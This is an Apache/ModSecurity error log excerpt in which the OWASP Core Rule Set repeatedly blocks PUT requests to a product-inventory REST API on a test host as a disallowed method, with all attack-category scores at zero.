[Wed Nov 16 17:02:00.765121 2022] [:error] [pid 3064782] [client 79.50.106.79:65241] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UJeJxMteM6atk@eiFaLAAAAAI&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:02:00.765354 2022] [:error] [pid 3064782] [client 79.50.106.79:65241] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UJeJxMteM6atk@eiFaLAAAAAI&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:02:00.771090 2022] [:error] [pid 3067503] [client 79.50.106.79:65237] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UJePDPbGhz0AyC-1jBFQAAAAY&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:02:00.772692 2022] [:error] [pid 3067503] [client 79.50.106.79:65237] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UJePDPbGhz0AyC-1jBFQAAAAY&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:02:00.772917 2022] [:error] [pid 3067503] [client 79.50.106.79:65237] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UJePDPbGhz0AyC-1jBFQAAAAY&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:03:19.998913 2022] [:error] [pid 3064141] [client 79.50.106.79:65294] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UJx8s62Xc3wODMm1esVQAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:03:20.000550 2022] [:error] [pid 3064141] [client 79.50.106.79:65294] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UJx8s62Xc3wODMm1esVQAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:03:20.000760 2022] [:error] [pid 3064141] [client 79.50.106.79:65294] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UJx8s62Xc3wODMm1esVQAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:03:20.005712 2022] [:error] [pid 3066834] [client 79.50.106.79:65290] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UJyKGN8oVzFm5feQ6S7QAAAA8&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:03:20.007135 2022] [:error] [pid 3066834] [client 79.50.106.79:65290] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UJyKGN8oVzFm5feQ6S7QAAAA8&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:03:20.007307 2022] [:error] [pid 3066834] [client 79.50.106.79:65290] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UJyKGN8oVzFm5feQ6S7QAAAA8&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:13:53.102335 2022] [:error] [pid 3067496] [client 79.50.106.79:55279] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UMQZL5ePKtVxmWWKoU6wAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:13:53.103797 2022] [:error] [pid 3067496] [client 79.50.106.79:55279] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UMQZL5ePKtVxmWWKoU6wAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:13:53.104011 2022] [:error] [pid 3067496] [client 79.50.106.79:55279] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UMQZL5ePKtVxmWWKoU6wAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:13:53.109931 2022] [:error] [pid 3068383] [client 79.50.106.79:55280] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UMQVdzB8GYEBKzeMgTsAAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:13:53.111407 2022] [:error] [pid 3068383] [client 79.50.106.79:55280] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UMQVdzB8GYEBKzeMgTsAAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:13:53.111580 2022] [:error] [pid 3068383] [client 79.50.106.79:55280] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UMQVdzB8GYEBKzeMgTsAAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:19:41.257837 2022] [:error] [pid 3068383] [client 79.50.106.79:56205] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UNnVdzB8GYEBKzeMgTtgAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:19:41.260011 2022] [:error] [pid 3068383] [client 79.50.106.79:56205] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UNnVdzB8GYEBKzeMgTtgAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:19:41.260267 2022] [:error] [pid 3068383] [client 79.50.106.79:56205] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UNnVdzB8GYEBKzeMgTtgAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:19:41.270622 2022] [:error] [pid 3066834] [client 79.50.106.79:56204] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UNnaGN8oVzFm5feQ6S9QAAAA8&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:19:41.272144 2022] [:error] [pid 3066834] [client 79.50.106.79:56204] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UNnaGN8oVzFm5feQ6S9QAAAA8&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:19:41.272358 2022] [:error] [pid 3066834] [client 79.50.106.79:56204] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UNnaGN8oVzFm5feQ6S9QAAAA8&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:19:57.368416 2022] [:error] [pid 3064141] [client 79.50.106.79:56219] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UNrcs62Xc3wODMm1esXgAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:19:57.370061 2022] [:error] [pid 3064141] [client 79.50.106.79:56219] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UNrcs62Xc3wODMm1esXgAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:19:57.370224 2022] [:error] [pid 3064141] [client 79.50.106.79:56219] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3UNrcs62Xc3wODMm1esXgAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:19:57.376500 2022] [:error] [pid 3066822] [client 79.50.106.79:56218] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UNrZ7x8d0b9bXYqxYz9wAAAAE&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:19:57.377968 2022] [:error] [pid 3066822] [client 79.50.106.79:56218] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UNrZ7x8d0b9bXYqxYz9wAAAAE&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 17:19:57.378117 2022] [:error] [pid 3066822] [client 79.50.106.79:56218] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3UNrZ7x8d0b9bXYqxYz9wAAAAE&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
